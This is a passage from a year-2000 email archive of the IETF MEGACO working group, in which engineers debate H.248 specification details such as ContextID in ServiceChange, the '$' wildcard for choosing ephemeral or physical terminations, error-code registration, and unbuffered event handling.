From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 00:07:00 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA25024 for ; Tue, 1 Feb 2000 00:07:00 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.E3FEFD00@standards.nortelnetworks.com>; Tue, 1 Feb 2000 0:04:21 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 17017 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 00:03:02 -0500 Received: from tapti.hss.hns.com by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.A87E71C0@standards.nortelnetworks.com>; Tue, 1 Feb 2000 0:02:41 -0500 Received: from sandesh.hss.hns.com (sandesh.hss.hns.com [139.85.242.35]) by tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id LAA09790 for ; Tue, 1 Feb 2000 11:03:04 +0530 (IST) Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3 (733.2 10-16-1998)) id 65256878.001B4FD3 ; Tue, 1 Feb 2000 10:28:17 +0530 X-Lotus-FromDomain: HSS Mime-Version: 1.0 Content-type: multipart/mixed; Boundary="0__=SEe66CBft6MomLT9MM3fxtyuf50YdK5ArPSDvuibYxDFzL7ZovE0heDO" Content-Disposition: inline Message-ID: <65256878.001B27B7.00@sandesh.hss.hns.com> Date: Tue, 1 Feb 2000 10:30:04 +0530 Reply-To: samittal@HSS.HNS.COM Sender: "Media Gateway Control (megaco)" From: Sachin Mittal Subject: Re: Importance of ContextID in ServiceChange command To: MEGACO@STANDARDS.NORTELNETWORKS.COM --0__=SEe66CBft6MomLT9MM3fxtyuf50YdK5ArPSDvuibYxDFzL7ZovE0heDO Content-type: text/plain; charset=us-ascii Content-Disposition: inline I said that because in case of Graceful and Forced whether from MG or MGC, the MG does not clear the context by itself and the subtract from MGC does that. So MG has nothing to do with contextID (Termination is specified or wildcarded). For restart the basic assumption is that it is sent for terminations which are out-of-service ???. And Disconnected, Handoff, Failover methods are for root termination. Thus if MGC provides contextid or not doesn't matter to MG. Do you mean to say that if MGC provides a wrong contextid the MG will DISCARD ServiceChange just because contextid is wrong !!! (so need of checking contextid/ no meaning of contextid in servicechange) In my opinion so called "implementation issues" which are in fact a MUST to consider for each implementation should find there way into the document. Chuong Nguyen on 02/01/2000 12:28:45 AM Please respond to Chuong Nguyen To: MEGACO@STANDARDS.NORTELNETWORKS.COM cc: (bcc: Sachin Mittal/HSS) Subject: Re: Importance of ContextID in ServiceChange command It will depends on the scenario. Therefore it is an implementation issue. Thus it should not be a requirement to provide contextId. For example, what if someone wants to take a range of terminations out of service via wildcards. The contextId would be different for that range of terminations. For an individual termination, it should be allowed but not mandatory. But simplicity is better here. Chuong Tom-PT Taylor wrote: > > > I've thought about this a bit more, and I think it's wrong. Where > ServiceChange applies to an individual termination rather than ROOT, > the sender should provide the contextID of the context in which the > termination currently exists. This makes it easier for the other end > to process the command. > > -----Original Message----- > From: Sachin Mittal [SMTP:samittal@HSS.HNS.COM] > Sent: Monday, January 31, 2000 2:54 AM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: Re: Importance of ContextID in ServiceChange > command > > > Need to add this in text. Somehow missed in V14. > > > > Tom-PT Taylor on 01/28/2000 02:28:57 > AM > > Please respond to Tom-PT Taylor > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > cc: (bcc: Sachin Mittal/HSS) > > Subject: Re: Importance of ContextID in ServiceChange command > > > > Good point. > > > -----Original Message----- > > From: Sachin Mittal [SMTP:samittal@HSS.HNS.COM] > > Sent: Thursday, January 27, 2000 4:07 AM > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > > Subject: Importance of ContextID in ServiceChange command > > > > HI all > > > > It should be mentioned somewhere in the text that there is no > > siginificance of > > ContextID in case of ServiceChange Command. The ServiceChange > command > > is for terminations and no validation is done on ContextID > should be done. > << File: Internet HTML >> > -- Alcatel USA, Inc Internet: Chuong.Nguyen@usa.alcatel.com 1000 Coit Road Plano, Texas 75075 Phone: (972) 519-4613 **** The opinions expressed are not those of Alcatel USA, Inc **** --0__=SEe66CBft6MomLT9MM3fxtyuf50YdK5ArPSDvuibYxDFzL7ZovE0heDO Content-type: text/html; name="att1.htm" Content-Disposition: attachment; filename="att1.htm" Content-Description: Internet HTML Content-Transfer-Encoding: base64 PCFkb2N0eXBlIGh0bWwgcHVibGljICItLy93M2MvL2R0ZCBodG1sIDQuMCB0cmFuc2l0aW9uYWwv L2VuIj4NCjxodG1sPg0KSXQgd2lsbCBkZXBlbmRzIG9uIHRoZSBzY2VuYXJpby4mbmJzcDsgVGhl cmVmb3JlIGl0IGlzIGFuIGltcGxlbWVudGF0aW9uDQppc3N1ZS4mbmJzcDsgVGh1cyBpdCBzaG91 bGQgbm90DQo8YnI+YmUgYSByZXF1aXJlbWVudCB0byBwcm92aWRlIGNvbnRleHRJZC4NCjxicj5G b3IgZXhhbXBsZSwgd2hhdCBpZiBzb21lb25lIHdhbnRzIHRvIHRha2UgYSByYW5nZSBvZiB0ZXJt aW5hdGlvbnMNCm91dCBvZiBzZXJ2aWNlIHZpYSB3aWxkY2FyZHMuDQo8YnI+VGhlIGNvbnRleHRJ ZCB3b3VsZCBiZSBkaWZmZXJlbnQgZm9yIHRoYXQgcmFuZ2Ugb2YgdGVybWluYXRpb25zLg0KPHA+ Rm9yIGFuIGluZGl2aWR1YWwgdGVybWluYXRpb24sIGl0IHNob3VsZCBiZSBhbGxvd2VkIGJ1dCBu b3QgbWFuZGF0b3J5Lg0KPGJyPkJ1dCBzaW1wbGljaXR5IGlzIGJldHRlciBoZXJlLg0KPHA+Q2h1 b25nDQo8cD5Ub20tUFQgVGF5bG9yIHdyb3RlOg0KPGJsb2NrcXVvdGUgVFlQRT1DSVRFPiZuYnNw Ow0KPHA+PGZvbnQgZmFjZT0iQXJpYWwiPjxmb250IGNvbG9yPSIjMDAwMEZGIj48Zm9udCBzaXpl PS0xPkkndmUgdGhvdWdodA0KYWJvdXQgdGhpcyBhIGJpdCBtb3JlLCBhbmQgSSB0aGluayBpdCdz IHdyb25nLiZuYnNwOyBXaGVyZSBTZXJ2aWNlQ2hhbmdlDQphcHBsaWVzIHRvIGFuIGluZGl2aWR1 YWwgdGVybWluYXRpb24gcmF0aGVyIHRoYW4gUk9PVCwgdGhlIHNlbmRlciBzaG91bGQNCnByb3Zp ZGUgdGhlIGNvbnRleHRJRCBvZiB0aGUgY29udGV4dCBpbiB3aGljaCB0aGUgdGVybWluYXRpb24g Y3VycmVudGx5DQpleGlzdHMuJm5ic3A7IFRoaXMgbWFrZXMgaXQgZWFzaWVyIGZvciB0aGUgb3Ro ZXIgZW5kIHRvIHByb2Nlc3MgdGhlIGNvbW1hbmQuPC9mb250PjwvZm9udD48L2ZvbnQ+DQo8dWw+ PGZvbnQgZmFjZT0iQXJpYWwiPjxmb250IHNpemU9LTI+LS0tLS1PcmlnaW5hbCBNZXNzYWdlLS0t LS08L2ZvbnQ+PC9mb250Pg0KPGJyPjxmb250IGZhY2U9IkFyaWFsIj48Zm9udCBzaXplPS0yPjxi PkZyb206Jm5ic3A7IDwvYj5TYWNoaW4gTWl0dGFsIFtTTVRQOnNhbWl0dGFsQEhTUy5ITlMuQ09N XTwvZm9udD48L2ZvbnQ+DQo8YnI+PGZvbnQgZmFjZT0iQXJpYWwiPjxmb250IHNpemU9LTI+PGI+ U2VudDombmJzcDsgPC9iPk1vbmRheSwgSmFudWFyeQ0KMzEsIDIwMDAgMjo1NCBBTTwvZm9udD48 L2ZvbnQ+DQo8YnI+PGZvbnQgZmFjZT0iQXJpYWwiPjxmb250IHNpemU9LTI+PGI+VG86Jm5ic3A7 Jm5ic3A7Jm5ic3A7IDwvYj5NRUdBQ09AU1RBTkRBUkRTLk5PUlRFTE5FVFdPUktTLkNPTTwvZm9u dD48L2ZvbnQ+DQo8YnI+PGZvbnQgZmFjZT0iQXJpYWwiPjxmb250IHNpemU9LTI+PGI+U3ViamVj dDombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCjwvYj5SZTogSW1wb3J0YW5j ZSBvZiBDb250ZXh0SUQgaW4gU2VydmljZUNoYW5nZSBjb21tYW5kPC9mb250PjwvZm9udD4NCjxi cj4mbmJzcDsNCjxwPjxmb250IGZhY2U9IkFyaWFsIj48Zm9udCBzaXplPS0xPk5lZWQgdG8gYWRk IHRoaXMgaW4gdGV4dC4gU29tZWhvdyBtaXNzZWQNCmluIFYxNC48L2ZvbnQ+PC9mb250Pg0KPGJy PiZuYnNwOw0KPGJyPiZuYnNwOw0KPHA+PGZvbnQgZmFjZT0iQXJpYWwiPjxmb250IHNpemU9LTE+ VG9tLVBUIFRheWxvciAmbHQ7dGF5bG9yQE5PUlRFTE5FVFdPUktTLkNPTT4NCm9uIDAxLzI4LzIw MDAgMDI6Mjg6NTcgQU08L2ZvbnQ+PC9mb250Pg0KPHA+PGZvbnQgZmFjZT0iQXJpYWwiPjxmb250 IHNpemU9LTE+UGxlYXNlIHJlc3BvbmQgdG8gVG9tLVBUIFRheWxvciAmbHQ7dGF5bG9yQE5PUlRF TE5FVFdPUktTLkNPTT48L2ZvbnQ+PC9mb250Pg0KPHA+PGZvbnQgZmFjZT0iQXJpYWwiPjxmb250 IHNpemU9LTE+VG86Jm5ic3A7Jm5ic3A7IE1FR0FDT0BTVEFOREFSRFMuTk9SVEVMTkVUV09SS1Mu Q09NPC9mb250PjwvZm9udD4NCjxicj48Zm9udCBmYWNlPSJBcmlhbCI+PGZvbnQgc2l6ZT0tMT5j YzombmJzcDsmbmJzcDsmbmJzcDsgKGJjYzogU2FjaGluDQpNaXR0YWwvSFNTKTwvZm9udD48L2Zv bnQ+DQo8cD48Zm9udCBmYWNlPSJBcmlhbCI+PGZvbnQgc2l6ZT0tMT5TdWJqZWN0OiZuYnNwOyBS ZTogSW1wb3J0YW5jZSBvZiBDb250ZXh0SUQNCmluIFNlcnZpY2VDaGFuZ2UgY29tbWFuZDwvZm9u dD48L2ZvbnQ+DQo8YnI+Jm5ic3A7DQo8YnI+Jm5ic3A7DQo8cD48Zm9udCBmYWNlPSJBcmlhbCI+ PGZvbnQgc2l6ZT0tMT5Hb29kIHBvaW50LjwvZm9udD48L2ZvbnQ+DQo8cD48Zm9udCBmYWNlPSJB cmlhbCI+PGZvbnQgc2l6ZT0tMT4+IC0tLS0tT3JpZ2luYWwgTWVzc2FnZS0tLS0tPC9mb250Pjwv Zm9udD4NCjxicj48Zm9udCBmYWNlPSJBcmlhbCI+PGZvbnQgc2l6ZT0tMT4+IEZyb206IFNhY2hp biBNaXR0YWwgW1NNVFA6c2FtaXR0YWxASFNTLkhOUy5DT01dPC9mb250PjwvZm9udD4NCjxicj48 Zm9udCBmYWNlPSJBcmlhbCI+PGZvbnQgc2l6ZT0tMT4+IFNlbnQ6IFRodXJzZGF5LCBKYW51YXJ5 IDI3LCAyMDAwDQo0OjA3IEFNPC9mb250PjwvZm9udD4NCjxicj48Zm9udCBmYWNlPSJBcmlhbCI+ PGZvbnQgc2l6ZT0tMT4+IFRvOiZuYnNwOyZuYnNwOyBNRUdBQ09AU1RBTkRBUkRTLk5PUlRFTE5F VFdPUktTLkNPTTwvZm9udD48L2ZvbnQ+DQo8YnI+PGZvbnQgZmFjZT0iQXJpYWwiPjxmb250IHNp emU9LTE+PiBTdWJqZWN0OiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOw0KSW1wb3J0YW5j ZSBvZiBDb250ZXh0SUQgaW4gU2VydmljZUNoYW5nZSBjb21tYW5kPC9mb250PjwvZm9udD4NCjxi cj48Zm9udCBmYWNlPSJBcmlhbCI+PGZvbnQgc2l6ZT0tMT4+PC9mb250PjwvZm9udD4NCjxicj48 Zm9udCBmYWNlPSJBcmlhbCI+PGZvbnQgc2l6ZT0tMT4+IEhJIGFsbDwvZm9udD48L2ZvbnQ+DQo8 YnI+PGZvbnQgZmFjZT0iQXJpYWwiPjxmb250IHNpemU9LTE+PjwvZm9udD48L2ZvbnQ+DQo8YnI+ PGZvbnQgZmFjZT0iQXJpYWwiPjxmb250IHNpemU9LTE+PiBJdCBzaG91bGQgYmUgbWVudGlvbmVk IHNvbWV3aGVyZQ0KaW4gdGhlIHRleHQgdGhhdCB0aGVyZSBpcyBubzwvZm9udD48L2ZvbnQ+DQo8 YnI+PGZvbnQgZmFjZT0iQXJpYWwiPjxmb250IHNpemU9LTE+PiBzaWdpbmlmaWNhbmNlIG9mPC9m b250PjwvZm9udD4NCjxicj48Zm9udCBmYWNlPSJBcmlhbCI+PGZvbnQgc2l6ZT0tMT4+IENvbnRl eHRJRCBpbiBjYXNlIG9mIFNlcnZpY2VDaGFuZ2UNCkNvbW1hbmQuIFRoZSBTZXJ2aWNlQ2hhbmdl IGNvbW1hbmQ8L2ZvbnQ+PC9mb250Pg0KPGJyPjxmb250IGZhY2U9IkFyaWFsIj48Zm9udCBzaXpl PS0xPj4gaXMgZm9yIHRlcm1pbmF0aW9ucyBhbmQgbm8gdmFsaWRhdGlvbg0KaXMgZG9uZSBvbiBD b250ZXh0SUQgc2hvdWxkIGJlIGRvbmUuPC9mb250PjwvZm9udD4NCjxicj48Zm9udCBmYWNlPSJB cmlhbCI+PGZvbnQgc2l6ZT0tMT4mbmJzcDsmbHQ7Jmx0OyBGaWxlOiBJbnRlcm5ldCBIVE1MDQo+ PjwvZm9udD48L2ZvbnQ+PC91bD4NCjwvYmxvY2txdW90ZT4NCg0KPHByZT4tLSZuYnNwOw0KJm5i c3A7IEFsY2F0ZWwgVVNBLCBJbmMmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgSW50ZXJuZXQ6IENodW9uZy5OZ3V5 ZW5AdXNhLmFsY2F0ZWwuY29tDQombmJzcDsgMTAwMCBDb2l0IFJvYWQgUGxhbm8sIFRleGFzIDc1 MDc1Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7IFBob25lOiZuYnNwOyZuYnNwOyZuYnNwOyAoOTcyKSA1MTktNDYxMw0KJm5ic3A7ICoq KiogVGhlIG9waW5pb25zIGV4cHJlc3NlZCBhcmUgbm90IHRob3NlIG9mIEFsY2F0ZWwgVVNBLCBJ bmMgKioqKjwvcHJlPg0KJm5ic3A7PC9odG1sPg0KDQo= --0__=SEe66CBft6MomLT9MM3fxtyuf50YdK5ArPSDvuibYxDFzL7ZovE0heDO-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 01:28:00 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA27642 for ; Tue, 1 Feb 2000 01:28:00 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.3691E680@standards.nortelnetworks.com>; Tue, 1 Feb 2000 1:25:24 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 17057 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 01:24:15 -0500 Received: from tapti.hss.hns.com by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.03CFF930@standards.nortelnetworks.com>; Tue, 1 Feb 2000 1:23:59 -0500 Received: from sandesh.hss.hns.com (sandesh.hss.hns.com [139.85.242.35]) by tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id MAA19170 for ; Tue, 1 Feb 2000 12:24:13 +0530 (IST) Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3 (733.2 10-16-1998)) id 65256878.0022C021 ; Tue, 1 Feb 2000 11:49:34 +0530 X-Lotus-FromDomain: HSS Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Message-ID: <65256878.00229F35.00@sandesh.hss.hns.com> Date: Tue, 1 Feb 2000 11:51:39 +0530 Reply-To: samittal@HSS.HNS.COM Sender: "Media Gateway Control (megaco)" From: Sachin Mittal Subject: Re: Choosing of ephemeral / physical Termination. To: MEGACO@STANDARDS.NORTELNETWORKS.COM Quote... > For a emphemeral terminatoion a certain terminationID schema will be > assigned by the MG. The MGC by various means would be aware of this > scheme. End quoted text..... Is it provisioned ?? Can't we extend the pattern property recently defined in base root package. If we do then we need to also specify the patterntype (ephemeral/physical) property. Sachin Mittal on 02/01/2000 09:34:31 AM Please respond to samittal@hns.com To: MEGACO@STANDARDS.NORTELNETWORKS.COM cc: (bcc: Sachin Mittal/HSS) Subject: Re: Choosing of ephemeral / physical Termination. Christian, if MGC is aware of patterns of such kind, then the issues/assumptions are as mentioned by Brian But the original point was the the appearance of $ with NO PRE-STRING and POST-STRING attached to it. In that case how can you figure out what to choose. I am not in favor of looking at media descriptor, etc because they may not appear with the ADD. Can we say ADD is successful if there doesn't yet exist a "star connection" in the context in which atleast one other termination is present ??? "Rosen, Brian" on 02/01/2000 01:09:49 AM Please respond to "Rosen, Brian" To: MEGACO@STANDARDS.NORTELNETWORKS.COM cc: (bcc: Sachin Mittal/HSS) Subject: Re: Choosing of ephemeral / physical Termination. Just checking my assumptions: For a physical termination, you want to be able to say: MyDS3/3/$ meaning, you choose any DS0 you want in the 3rd DS1 of a DS3, assuming that was how my MG named the DS0s (such a structure NOT being required). Could I also ask for MyDS3/$/$? For an ephemeral termination, suppose that I knew, by discovery or provisioning that RTP bearers were named RTP/nnnn and ATM bearers were named AAL1/nnnn/nn. Can I Add=AAL1/0003/$, which means create an ephemeral for an ATM AAL1 bearer, with the MG choosing the subchannel? Brian > -----Original Message----- > From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM] > Sent: Monday, January 31, 2000 10:27 AM > To: MEGACO@standards.nortelnetworks.com > Subject: Re: Choosing of ephemeral / physical Termination. > > > Hello all, > > I believe that we have diverged from the first email in this > thread. We > do not need rules to determine what media and bearer is instantiated. > > For a physical termination a certain terminationID schema will be > assigned by the MG. ie. /myscheme/physical/trunk/circuit > If the MGC wanted to CHOOSE a physical termination it could either > wildcard 'trunk' or 'circuit'. > > For a emphemeral terminatoion a certain terminationID schema will be > assigned by the MG. The MGC by various means would be aware of this > scheme. > ie. /myscheme/euphemeral/IP > If the MGC wanted to CHOOSE a euphemeral termination it could wilcard > the 'IP' > > The 'physical' and 'ephemeral' could be anything in the the > MG assigned > scheme that would differentiate the two. > > If the MGC doesn't care which one then it CHOOSES on the > 'ephemeral'/'physical' level. The MG can determine which one to return > from ANY information in the media descriptors. This is > something for the > MG to decide, not something that needs to be specified in > rules in H248 > because they'll probably change according to your > application, resource > allocation algorithms in the MG, etc. I do agree that an > error should be > returned if the MG cannot determine the terminationID. > > I think the scope of this is also limited to the ADD command. The ADD > will return a fully specified terminationID which can then be > referenced > in Move, Modify, Subtract etc. > > Regards, Christian > > Tom-PT Taylor wrote: > > > > Right, we haven't converged yet. I have a suggestion which may > > resolve this, that we add these rules > > > > (1) If the MGC provides too little information in an Add command for > > the MG to select the bearer type for that termination, the MG must > > reject the command with [appropriate error]. In practice, > this means > > either that the terminationID in the command provides the necessary > > information, or else that at least one instance of a Local or Remote > > descriptor must be present, containing a c= line with a specified > > nettype (or the Annex C equivalent). > > > > (2) If the MGC provides too little information in an Add, Move, or > > Modify command for the MG to determine the medium to be carried in a > > given stream, the MG must reject the command with [appropriate > > error]. The MG has three ways to determine medium: > > > > - streamID unspecified defaults to streamID=1 and medium=audio > > - medium has already been specified for that streamID for another > > termination in the same context > > - explicit specification of medium in an m= line (or the Annex C > > equivalent) in an instance of Local or Remote for the given > streamID. > > > > -----Original Message----- > > From: Rosen, Brian [SMTP:brosen@FORE.COM] > > Sent: Monday, January 31, 2000 9:15 AM > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > > Subject: Re: Choosing of ephemeral / physical > Termination. > > > > I believe we have not reached consensus on this issue, so I did > > not > > change the text. Tom, is that your view? > > > > Brian > > > > > -----Original Message----- > > > From: Sachin Mittal [mailto:samittal@hss.hns.com] > > > Sent: Monday, January 31, 2000 2:52 AM > > > To: MEGACO@standards.nortelnetworks.com > > > Subject: Re: Choosing of ephemeral / physical Termination. > > > > > > > > > The point that "$" is for choosing ephemeral is not yet added > > > in V14. Is it that > > > the discussion > > > is not yet complete? What about foo$ representing choose > > physical. > > > > > > > > > > > > > > > Sachin Mittal on 01/27/2000 11:35:50 AM > > > > > > Please respond to samittal@hns.com > > > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > > > cc: (bcc: Sachin Mittal/HSS) > > > > > > Subject: Re: Choosing of ephemeral / physical Termination. > > > > > > > > > > > > > > > Its true that the type of termination should not be > > > identified by looking into > > > the descriptor > > > information. Somewhere in the text this should be added that > > > " $ if it appears > > > alone indicates > > > ephemeral termination and partial $ (ex foo$) indicates > > > selection of a physical > > > termination > > > (a circuit within a trunk group)". > > > > > > > > > > > > > > > "Rosen, Brian" on 01/27/2000 02:36:46 AM > > > > > > Please respond to "Rosen, Brian" > > > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > > > cc: (bcc: Sachin Mittal/HSS) > > > > > > Subject: Re: Choosing of ephemeral / physical Termination. > > > > > > > > > > > > > > > Generally determined by the "kind" of termination requested. > > > Which is in turn, easily discernable from the Media command. > > > > > > However, upon reflection, I think it's not a good answer. > > > I'd propose that we not allow selection of a physical > > termination, > > > in which case choose is always create an ephemeral. In > > particular, > > > the following is perfectly legal: > > > Context=${Add=${}} > > > What do you get? > > > > > > Brian > > > > > > > -----Original Message----- > > > > From: Sachin Mittal [mailto:samittal@hss.hns.com] > > > > Sent: Tuesday, January 25, 2000 9:01 AM > > > > To: MEGACO@standards.nortelnetworks.com > > > > Subject: Choosing of ephemeral / physical Termination. > > > > > > > > > > > > Annex B.1 says that "The CHOOSE TerminationID $ may be used > > > > to signal to the MG > > > > that it has to create an > > > > ephemeral Termination or select an idle physical > > Termination". > > > > How can MG determine when to create an ephemeral > termination > > > > and when to choose > > > > idle physical termination.?? > > > > What is the logic behind this decision making? > > > > > > > > regards > > > > -Sachin Mittal > > > > > > > > From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 01:33:51 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA28171 for ; Tue, 1 Feb 2000 01:33:51 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.0E3091E0@standards.nortelnetworks.com>; Tue, 1 Feb 2000 1:31:26 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 17078 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 01:29:27 -0500 Received: from tapti.hss.hns.com by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.C51498D0@standards.nortelnetworks.com>; Tue, 1 Feb 2000 1:29:23 -0500 Received: from sandesh.hss.hns.com (sandesh.hss.hns.com [139.85.242.35]) by tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id MAA19801 for ; Tue, 1 Feb 2000 12:29:45 +0530 (IST) Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3 (733.2 10-16-1998)) id 65256878.00234062 ; Tue, 1 Feb 2000 11:55:02 +0530 X-Lotus-FromDomain: HSS Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Message-ID: <65256878.002324AA.00@sandesh.hss.hns.com> Date: Tue, 1 Feb 2000 11:57:21 +0530 Reply-To: samittal@HSS.HNS.COM Sender: "Media Gateway Control (megaco)" From: Sachin Mittal Subject: IANA considerations To: MEGACO@STANDARDS.NORTELNETWORKS.COM In section 13 the following are specified: "A complete description of the conditions under which the error is detected shall be included in a publicly available document. The description shall be sufficiently clear to differentiate the error from all other existing error codes." "A complete description of the conditions under which the reason is used is detected shall be included in a publicly available document. The description shall be sufficiently clear to differentiate the reason from all other existing reasons." Is there a document which contain such description for the existing error codes and service change reasons ?? From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 04:59:13 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA09214 for ; Tue, 1 Feb 2000 04:59:12 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.B5A63990@standards.nortelnetworks.com>; Tue, 1 Feb 2000 4:56:32 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 17154 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 04:54:50 -0500 Received: from ihemlsrv.firewall.lucent.com (192.11.222.161) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.789E9920@standards.nortelnetworks.com>; Tue, 1 Feb 2000 4:54:50 -0500 Received: from ihemlsrv.firewall.lucent.com (localhost [127.0.0.1]) by ihemlsrv.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id EAA23712 for ; Tue, 1 Feb 2000 04:56:52 -0500 (EST) Received: from hzsms01.nl.lucent.com (h135-85-32-31.lucent.com [135.85.32.31]) by ihemlsrv.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id EAA23695 for ; Tue, 1 Feb 2000 04:56:51 -0500 (EST) Received: by hzsms01.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2) id KAA15762; Tue, 1 Feb 2000 10:56:50 +0100 (MET) Received: from lucent.com by hzsms01.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2) id KAA15757; Tue, 1 Feb 2000 10:56:49 +0100 (MET) X-Mailer: Mozilla 4.7 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 References: <4FBEA8857476D311A03300204840E1CF1A0C71@whq-msgusr-02.fore.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <3896AD83.E835BDEF@lucent.com> Date: Tue, 1 Feb 2000 10:55:15 +0100 Reply-To: John Segers Sender: "Media Gateway Control (megaco)" From: John Segers Organization: Lucent Technologies Subject: Re: Non-Buffered EventHandling To: MEGACO@STANDARDS.NORTELNETWORKS.COM Content-Transfer-Encoding: 7bit Brian, For clarification: is the event also processed when the MG is notifying the MGC of aa previous event that matched the active events descriptor? John "Rosen, Brian" wrote: > > When EventBuffer is off, any Events are immediately processed against the > current EventsDescriptor. There is no buffering, and the EventBuffer > descriptor > is not used. > > Brian > > > -----Original Message----- > > From: Bob Lukas [mailto:blukas@hothaus.com] > > Sent: Friday, January 28, 2000 7:10 PM > > To: MEGACO@standards.nortelnetworks.com > > Subject: Non-Buffered EventHandling > > > > > > The change in text in v14 regarding Event handling has left > > me a little > > confused about event handling when EventBuffer flag is off. > > The text is > > explicit about the EventBuffer=on case, but only says > > "If the EventBuffer flag is off when the new Events > > Descriptor is received, > > the queue is flushed and no events are added to it. The > > default state of > > EventBuffer is off.", > > but section 7.1.5 says > > "The EventBuffer flag specifies whether events are buffered following > > detection of an event in the Events Descriptor, or processed > > immediately". > > > > After a Notify transaction containing ObservedEvents, what > > happens to new > > events detected while EventBuffer is off? > > Are they discarded until a new Events Descriptor is received, > > queued then > > flushed until/when a new Events Descriptor is received, or do > > they continue > > to get matched and reported against the previous Events Descriptor? > > My understanding is that new events would continue to be > > processed as per > > the previous Events Descriptor, correct? > > > > ________________________________ > > Bob Lukas > > Broadcom Canada > > Richmond BC > > blukas@broadcom.com > > -- John Segers email: jsegers@lucent.com Lucent Technologies Room HE 306 Dept. Forward Looking Work phone: +31 35 687 4724 P.O. Box 18, 1270 AA Huizen fax: +31 35 687 5954 From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 05:12:10 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA09821 for ; Tue, 1 Feb 2000 05:12:10 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.87A56BE0@standards.nortelnetworks.com>; Tue, 1 Feb 2000 5:09:34 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 17165 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 05:07:55 -0500 Received: from penguin.wise.edt.ericsson.se (194.237.142.110) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.E6C6D2F0@standards.nortelnetworks.com>; Tue, 1 Feb 2000 4:57:55 -0500 Received: from elb1 (elb1.al.edt.ericsson.se [136.225.252.11]) by penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.5) with SMTP id KAA01529; Tue, 1 Feb 2000 10:59:55 +0100 (MET) Received: from elb4.al.edt.ericsson.se by elb1 (SMI-8.6/LME-2.2.6) id KAA17124; 